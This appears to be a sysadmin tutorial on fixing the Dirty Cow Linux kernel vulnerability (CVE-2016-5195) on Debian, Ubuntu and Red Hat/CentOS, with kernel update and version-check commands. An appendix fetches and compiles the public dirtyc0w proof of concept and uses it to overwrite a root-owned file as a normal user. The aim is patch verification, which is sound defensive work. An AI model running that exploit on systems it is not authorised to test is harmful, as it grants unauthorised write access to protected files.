“Dirty Cow” is the common name given to Linux vulnerability CVE-2016-5195. It is a “privilege escalation” that allows a non-root user to gain root access on a system. An attacker must have system access first, as a normal user. Then they use the bug to obtain root rights. It is dangerous and should be patched.
The Linux kernel itself was fixed in October 2016. Since then, Linux vendors have all released patches. Many Internet articles suggest addressing the bug by doing a general system update. While that might be fine for a test machine or Linux desktop, it isn’t ideal for a production server. This article describes how to fix the bug in the least invasive way possible – by updating the kernel only.
The following Linux releases are affected. Kernel versions below are the minimum required to achieve invulnerability. If your kernel is an earlier release, it’s vulnerable. So upgrade to at least the following.
Debian 7 and 8
3.2.82-1 for Debian 7
3.16.36-1+deb8u2 for Debian 8
Ubuntu 12, 14 and 16
4.8.0-26.28 for Ubuntu 16.10
4.4.0-45.66 for Ubuntu 16.04 LTS
3.13.0-100.147 for Ubuntu 14.04 LTS
3.2.0-113.155 for Ubuntu 12.04 LTS
Red Hat/Centos 5,6,7.
Check the kernel with the detector script
Debian 7 / Debian 8
The following process works for both Debian 7 and Debian 8.
Verify the present kernel version.
debian7# uname -a Linux debian7 3.2.0-4-amd64 #1 SMP Debian 3.2.78-1 x86_64 GNU/Linux debian7# dpkg -l | grep linux-image ii linux-image-3.2.0-4-amd64 3.2.78-1 amd64 Linux 3.2 for 64-bit PCs
This Debian 7 system is running 3.2.78-1, which is vulnerable.
Update the kernel as follows.
debian7# apt-get install linux-image-3.2.0-4-amd64
which is the same as typing:
debian7# apt-get install linux-image-$(uname -r)
A lot of stuff is printed out as the new kernel is downloaded and installed. Reboot the system to load it:
debian7# shutdown -r 0
When the system comes back up, check the kernel version again:
debian7$ uname -a Linux debian7 3.2.0-4-amd64 #1 SMP Debian 3.2.82-1 x86_64 GNU/Linux debian7$ dpkg -l | grep linux-image ii linux-image-3.2.0-4-amd64 3.2.82-1 amd64 Linux 3.2 for 64-bit PCs
The kernel has been upgraded from version 3.2.78-1 to version 3.2.82-1, which is the minimum level to be free of the Dirty Cow bug.
Note: after the update and before the reboot, dpkg -l will show the new kernel version but uname will still show the old version, because, at that point, the old version is still loaded and running.
Update the kernel and related files only, as follows. This was on a test system:
# apt-get install linux-image-generic
Kernel package names can vary, depending on the history of the system and what kernels are installed. Check it with dpkg -l | grep linux. On a production web server, it was called linux-image-virtual rather than linux-image-generic. Note also the –dry-run flag is useful in these situations, especially when you’re working on a production system.
# apt-get install --dry-run linux-image-virtual
and then, to execute:
# apt-get install linux-image-virtual
Red Hat / CentOS
The following procedure works on Red Hat / CentOS versions 6 and 7.
Is your Red Hat / CentOS system vulnerable ? A detector script is available from Red Hat. Run it on the system of interest. For example, on a Red Hat 6.5 system:
redhat65# uname -r 2.6.32-431.el.x86.64 redhat65# ./rh-cve-2016-5195_5.sh Your kernel is 2.6.32-431.el6.x86_64 which IS vulnerable. Red Hat recommends that you update your kernel. Alternatively, you can apply partial mitigation described at https://access.redhat.com/security/vulnerabilities/2706661 .
Alternatively, rather then deploy the script to every server, just examine it for the kernel release you are interested in. This might be easier in a large Linux landscape. If the release number is listed in the script, it’s vulnerable. For example, checking kernel 2.6.32-431.el.x86.64 again, search the script for “2.6.32-431.el“, missing out the “x86.64” architecture but at the end. Use any editor or grep:
someunixbox$ grep 2.6.32-431.el rh-cve-2016-5195_5.sh "2.6.32-431.el6"
The kernel version is listed in the script, and is therefore vulnerable.
Updating the kernel on Red Hat / CentOS is easy. Just type “yum update kernel“. For example on the CentOS 6.8 system below the kernel was updated from release 2.6.32-642.el6 (vulnerable) to release 2.6.32-642.11.1 (invulnerable).
centos68# uname -a Linux centos68 2.6.32-642.el6.x86_64 #1 SMP Tue May 10 17:27:01 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux centos68# yum update kernel centos68# shutdown -h 0 centos68# uname -a Linux centos68 2.6.32-642.11.1.el6.x86_64 #1 SMP Fri Nov 18 19:25:05 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
Appendix I. Demonstrating the Dirty Cow Bug
The vulnerability can be demonstrated as follows.
As a non-root user, fetch the demo program.
fred@debian$ wget https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
As root, install gcc and compile the demo program.
debian# apt-get install gcc debian# gcc -pthread dirtyc0w.c -o dirtyc0w
Make a root-owned test file:
debian# echo "THIS FILE IS WRITEABLE ONLY BY ROOT" > foo debian# chmod 404 foo
Note that user “fred” can read the file “foo”, but not write to it.
fred@debian$ echo "test" >> foo -su: foo: Permission denied fred@debian$ ls -l foo -r-----r-- 1 root root 36 Nov 30 10:21 foo fred@debian$ cat foo THIS FILE IS WRITEABLE ONLY BY ROOT
Still as the non-root user, run the dirtyc0w demo:
fred@debian$ ./dirtyc0w foo "now is the time for all good men" mmap 7f1d5d7b1000 madvise 0 procselfmem -1094967296 fred@debian$ cat foo now is the time for all good menOOT
The file has been overwritten by the fred owned process, leaving only the last 3 characters of the original content.
When the test is repeated after patching, the dirtyc0w program runs without error but fails to modify the file.
Appendix II – A Note on Debian Uname
The uname command can be a little confusing on Debian systems. According to the man page, uname -r will output the revision of the currently running version:
fred@debian8:~$ uname -a Linux debian8 3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt25-2 (2016-04-08) x86_64 GNU/Linux fred@debian8:~$ uname -r 3.16.0-4-amd64 fred@debian8:~$ dpkg -l | grep linux-image ii linux-image-3.16.0-4-amd64 3.16.7-ckt25-2 amd64 Linux 3.16 for 64-bit PCs
However, what uname -r actually prints is the name of the apt package containing the presently running kernel. In the example above it is shown as “3.16.0-4”. The real kernel release however is “3.16.7”. The name of the apt package containing the kernel remains as “3.16.0-4”, even after multiple kernel updates. This is a little misleading in that the package name no longer matched the kernel it contains.